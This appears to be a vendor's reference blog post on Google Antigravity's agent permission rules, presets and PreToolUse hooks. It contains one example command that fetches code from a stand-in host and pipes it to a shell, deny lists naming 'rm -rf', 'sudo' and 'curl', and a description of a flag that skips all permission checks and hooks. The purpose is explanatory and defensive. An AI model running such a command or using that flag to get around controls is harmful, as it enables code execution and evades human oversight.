Skip to content
Agentic Control Plane

Antigravity (agy) Permissions Reference — allow, ask, deny, the Presets, and What a Hook Adds

David Crowe David Crowe · · Updated · 18 min read
antigravity permissions hooks reference
Share X HN LinkedIn

Just want the answer? Antigravity permissions are three lists — allow, ask, deny — of action(target) rules. Deny beats ask beats allow. Files in the workspace are allowed by default; commands outside the sandbox, MCP tools, and URLs ask. A working permissions block, in the shape Google's own examples use:

{
  "permissions": {
    "allow": ["command(git)", "command(regex:npm run (build|lint|test))", "write_file(src/)", "read_url(google.com)", "mcp(linter/*)"],
    "ask":   ["command(*)", "execute_url(aws.amazon.com)", "mcp(sql/execute_mutation)"],
    "deny":  ["command(rm -rf)", "command(sudo)", "write_file(.git/)"]
  }
}

Antigravity's full control model →  ·  The hooks reference →  ·  Put policy on the hook in one command →

Read from Google’s Antigravity permissions documentation on September 16, 2026. Where this page says “verified live,” the check was done against the shipped agy 1.1.21 binary and is written up on the control-model page. Anything Google’s docs don’t state and we haven’t verified is left out.

Antigravity — Google’s agent-first IDE, the agy CLI, and the editor extensions — puts one permission engine under every surface. It’s a good one: a single action(target) syntax that covers files, shell commands, URLs, browser actuation, and MCP tools, with strict precedence and defaults that mostly do the right thing. It also has real edges, and the edges are where agents get away with things. This is the reference for the rule language, the presets, the matching rules that decide whether command(git) covers git log $(whoami) (it doesn’t), and the two things a rule can’t do that a hook can.

Where the rules live

Two ways in, one engine:

Surface Where
IDE Settings → General → Permission Settings sets the preset; Settings → Projects overrides it per project. New projects start on Inherit General. Permission requests approved during a session can be added to the project’s rules from the same place.
agy CLI The CLI’s settings file, ~/.gemini/antigravity-cli/settings.json, under a permissions object with allow, ask, and deny arrays.

One platform note before anything else, because it changes which of the sections below apply to you: the engine described here runs on macOS and Linux. Google’s documentation says Windows still uses the prior permission system, to be updated in a future release. The Windows-specific differences are called out where they exist.

The rule shape: action(target)

Every sensitive operation the agent performs is a permission resource written as action(target). Seven actions cover the surface:

Action Syntax What it matches
read_file read_file(/abs/path), read_file(relative/dir), read_file(*) Absolute or workspace-relative paths; a directory covers everything under it
write_file write_file(/abs/path), write_file(src/), write_file(*) Same matching as read_file; an allow here also grants read on the same path
read_url read_url(domain), read_url(*) Hostnames plus subdomains — google.com covers mail.google.com; path segments are ignored
execute_url execute_url(domain), execute_url(*) Browser actuation — clicking, typing, interactive workflows in a page
command command(prefix), command(regex:pattern), command(*) Terminal commands, inside and outside the sandbox — see matching below
mcp mcp(server/tool), mcp(server/*), mcp(*) One tool, every tool on a server, or every MCP tool, local and remote alike
unsandboxed unsandboxed(prefix), unsandboxed(regex:pattern), unsandboxed(*) Windows only on the current engine — runs a matching command outside container isolation while sandboxing is on

* as the target matches every target in that action’s namespace, uniformly: read_file(*), command(*), mcp(*).

Rules are portable across operating systems. On Windows, Antigravity strips drive letters (C:) and converts backslashes to forward slashes before evaluating a path rule, so write_file(src/) means the same thing everywhere.

How command() matching actually works

This is the section to read twice. Most permission surprises on Antigravity come from here.

Default: exact token prefix. command(git) matches any command whose leading tokens are gitgit status, git log --oneline. command(npm run build) matches npm run build --watch and not npm run test.

regex: switches to regular expressions. command(regex:npm run (build|lint|test)) — and note how the anchoring works: each whitespace-separated token is anchored as ^(?:pattern)$, so the pattern is matched token by token, not against the whole line as one string.

Prefix matching survives ordinary composition. Pipelines, &&, ||, ; chains, quoted literals, plain $VAR arguments, simple redirects, and wrappers like timeout, nohup, nice, and env all still prefix-match, with the wrapped inner command evaluated on its own. With command(git) allowed, git status && git log runs without a prompt.

Prefix matching is disabled entirely when the command carries anything that could change what runs. Google’s list: command substitution ($(...), backticks, <(...)), arithmetic $((...)), brace expansion, non-literal command names, network or file-descriptor redirections, and flags that spawn subcommands — git -c core.pager=<cmd>, tar --to-command. Commands the parser can’t parse count too, and on Windows so does PowerShell or CMD syntax that can’t be cleanly word-split. In every one of those cases, a rule has to match the whole line character-for-character, or the command falls back to Ask. Google’s own illustration: with command(git) allowed, git log $(whoami) prompts.

That last rule is the right design, and it’s worth understanding why. A prefix allow on git that also covered git log $(curl evil.example/x | sh) would be a prefix allow on everything. Antigravity chooses to prompt rather than guess, which means a command(*) in your ask list is not redundant with the default — it’s the same posture, made explicit and made portable across presets.

Precedence: Deny > Ask > Allow

Conflicting rules are resolved strictly in that order. command(*) in Ask and command(git) in Allow means every command prompts, git included — the broader Ask outranks the narrower Allow. There’s no specificity tiebreak; the list a rule sits in decides.

Explicit rules also beat the preset’s defaults. Google’s example: an Ask rule on command(rm) prompts even where the Default preset’s sandbox would otherwise have run the command silently.

Two implication rules, and only two: allowing write_file on a path automatically grants read_file there, and denying read_file on a path immediately blocks write_file there.

The three presets

Rules layer on top of a preset. On macOS and Linux there are three:

Preset Sandbox Terminal File access MCP & web
Default On Allowed inside the sandbox; ask to run outside it Workspace plus temp directories Ask
Request Review Off Always ask Workspace only Ask
Turbo Off Allowed, unrestricted Full filesystem Allowed

Under Default, sandboxed commands are confined to the workspace and temp directories with no network access. A command that needs connectivity or host resources triggers a request to run outside the sandbox, which prompts unless a command(...) allow rule covers it. Grants feed the sandbox directly: read_file paths become its read-only filesystem allowlist, write_file paths the read-write allowlist, and read_url domains its outbound network policy (on Windows, the network list is called AllowedDomains).

read_url therefore spans three things at once: the agent’s read_url_content fetch tool, page loads in Chrome sessions driven by the Browser Subagent (actuation is split off to execute_url), and the sandbox’s outbound allowlist for tools like curl and npm. One rule, three enforcement points.

Defaults when nothing is configured, macOS/Linux: commands run silently inside the sandbox and need approval outside it; workspace file reads and writes proceed without prompting, files elsewhere ask; read_url, execute_url, and MCP calls all ask. On Windows, unconfigured command and unsandboxed both default to Ask.

Widening a grant at the prompt

When an Ask prompt appears as an interactive card in the editor, you can edit the target before approving — Google’s example broadens /project/file.txt up to /project. Antigravity checks the edit still covers the operation, then applies the wider grant for the rest of the turn. This is explicitly not supported for terminal commands. A shell prompt is answered as-is.

Two worked rule sets

Both are composed only from syntax Google documents. Adjust the targets; keep the shape.

A tight profile for unattended runs. Everything not listed asks — and in headless mode an unanswerable ask is soft-denied, so this profile is deny-by-default in practice:

{
  "permissions": {
    "allow": [
      "command(git status)", "command(git diff)", "command(git log)",
      "command(regex:npm run (build|lint|test))",
      "write_file(src/)", "write_file(test/)",
      "read_url(registry.npmjs.org)"
    ],
    "ask": ["command(*)", "mcp(*)", "execute_url(*)"],
    "deny": [
      "command(rm -rf)", "command(sudo)", "command(regex:curl .*)",
      "write_file(.git/)", "write_file(/home/user/.ssh)"
    ]
  }
}

Note what command(regex:curl .*) in deny does that command(curl) wouldn’t: token anchoring means curl followed by any arguments is denied, including spellings the prefix matcher would refuse to evaluate and would otherwise send to Ask.

An everyday profile for an attended session. Wider allows, a short deny list of things you never want to answer a prompt about:

{
  "permissions": {
    "allow": [
      "command(git)", "command(npm)", "command(node)",
      "write_file(src/)", "read_file(/var/log/app)",
      "read_url(google.com)", "mcp(linter/*)"
    ],
    "ask": ["execute_url(aws.amazon.com)", "mcp(sql/execute_mutation)"],
    "deny": ["command(rm -rf)", "command(sudo)", "write_file(.git/)"]
  }
}

command(git) here covers git push, so if you want a prompt on pushes specifically, that rule needs to be narrower — command(git status), command(git diff), and so on — because there’s no way to carve an exception out of a broader allow from the ask list without also catching everything else in it.

Headless: an ask nobody can answer

In print mode (-p) there is no one to prompt. Antigravity soft-denies the unanswerable ask: the run continues, exits 0, and a notice on stderr names the tool and the allow rule you would have needed. That’s the correct resolution — a deny, not a silent approve and not a hang — and it’s why the “tight profile” above is genuinely restrictive unattended even though its ask list is broad. The control-model page covers the headless posture in full.

The escape hatch

--dangerously-skip-permissions auto-approves every permission request. Verified live on agy 1.1.21, it does one more thing: PreToolUse hooks are not invoked at all under the flag. Not “hooks fire but their deny is ignored” — the hook layer is skipped. So the flag doesn’t just override your three lists; it removes the only layer that could have watched them being overridden. If a policy hook is part of how you control Antigravity, the flag is the line it can’t cross, and scoped permissions.allow rules — not the flag — are the way to unblock a headless run.

What a hook adds that a rule can’t

Permission rules match static resources against a list. A PreToolUse hook runs before the permission layer (verified live), receives the full toolCall — the native tool name and its actual arguments — and answers with a decision from a vocabulary that reaches past what a rule can express:

Hook decision What it does
allow / deny Decide this call, with the arguments in hand, and a reason attached
ask Prompt the human — but a cached “Always Allow” from earlier in the session can satisfy it
force_ask Prompt the human unconditionally. No cached grant pre-empts it
deny_unless_prior_grant The fifth accepted value; the ACP hook doesn’t use it, and Google’s hook docs are the reference for exactly which grant it checks
permissionOverrides An optional array that grants action(target) resources — the same syntax as the lists above — for the rest of the turn

Three consequences for anyone using rules to control an agent:

  1. A hook sees what a prefix matcher refuses to. git log $(whoami) is a string the hook receives in full; it can decide on it instead of falling back to Ask.
  2. force_ask is the ask that stays an ask. A rule in the ask list can be answered once with Always Allow and then never seen again that session. force_ask can’t. For a policy hold that has to reach a person every time, it’s the only primitive that guarantees it.
  3. A rule leaves no record. Antigravity’s transcripts record what happened; nothing records which rule matched, what was asked, or who approved. A hook is the place that record can be made.

That is precisely the surface the ACP hook for Antigravity stands on. One registration in ~/.gemini/config/hooks.json; every tool call is checked against workspace policy before the permission layer sees it; an ACP deny returns {"decision":"deny","reason":"[ACP] Denied by policy: …"} and the call never runs; an ACP ask returns force_ask, so the approval card appears no matter what’s cached; and every decision lands in an audit row with both the canonical and the native tool name. The two systems compose rather than compete: your three lists still apply to whatever the hook allows through. The hooks reference has the full contract, and the control-model page walks a live-verified deny end to end.

Where the model ends

  • No decision ledger. Transcripts are a full exchange record, not a record of what was decided and why. The enterprise tier’s central audit toggle exists because that record has buyers.
  • Prefix matching is deliberately conservative, which means a productive allow list on a shell-heavy workflow tends to grow, and every growth is a wider grant. The regex: form gives you precision at the cost of writing anchored patterns per token.
  • Terminal prompts can’t be scope-edited. File and URL grants can be widened at the card; shell grants are answered as written.
  • --dangerously-skip-permissions is total. Rules, prompts, and hooks all go with it.
  • Windows is on the previous engine for now. If your fleet is mixed, so is your permission model.

Frequently asked questions

Where do Antigravity permissions live?

In the IDE, under Settings → General → Permission Settings for the preset, with per-project overrides under Settings → Projects (new projects start on Inherit General). For the agy CLI, the same rules go in the settings file under a permissions object with allow, ask, and deny arrays. Every entry is an action(target) resource such as command(git), write_file(src/), or mcp(linter/*).

What actions can an Antigravity permission rule cover?

Seven: read_file, write_file, read_url, execute_url (browser actuation — clicking and typing), command, mcp (server/tool, server/*, or *), and unsandboxed, which on the current engine is Windows-only. Passing * as the target matches everything in that action’s namespace.

How does command() matching work in Antigravity?

By exact token prefix by default: command(git) matches git status and git log, and still matches inside pipelines, && chains, and wrappers like timeout, nohup, nice, or env. Prefix the target with regex: to switch to regular expressions, where each whitespace-separated token is anchored. Prefix matching is disabled entirely when the command contains substitution, arithmetic, brace expansion, non-literal command names, network or fd redirections, or flags that spawn subcommands; those commands must match a rule character-for-character or they fall back to Ask.

Which wins when Antigravity permission rules conflict?

Deny beats Ask beats Allow, strictly. command(*) in Ask plus command(git) in Allow means every command prompts. Explicit rules also beat the preset’s defaults: an Ask rule on command(rm) prompts even where the sandbox would otherwise have allowed the command silently.

What are Antigravity's permission presets?

Three, on macOS and Linux: Default (sandbox on; commands allowed inside it and asked outside; workspace and temp directories; MCP and web ask), Request Review (sandbox off; every terminal command asks; workspace only), and Turbo (sandbox off; unrestricted terminal; full filesystem; MCP and web allowed). Windows still runs the prior permission system. Explicit rules layer on top of whichever preset is active.

What can a hook do that an Antigravity permission rule can't?

Decide per call with the full toolCall in hand, hand the call to a human with force_ask (which a cached Always Allow cannot pre-empt), grant action(target) resources for the rest of the turn with permissionOverrides, and keep a record of what was decided and why. Permission rules match static resources; hooks run before the permission layer and see the actual arguments. The ACP hook uses exactly that surface — deny with a reason, ask as force_ask, and an audit row for every call.

Where to read more

Share X HN LinkedIn
Get the next data drop
What agents actually cost, new tool-surface captures, and the occasional incident post-mortem — sent when we publish something worth your inbox, not on a schedule. Unsubscribe anytime.
Share: Twitter LinkedIn
Related posts

← back to blog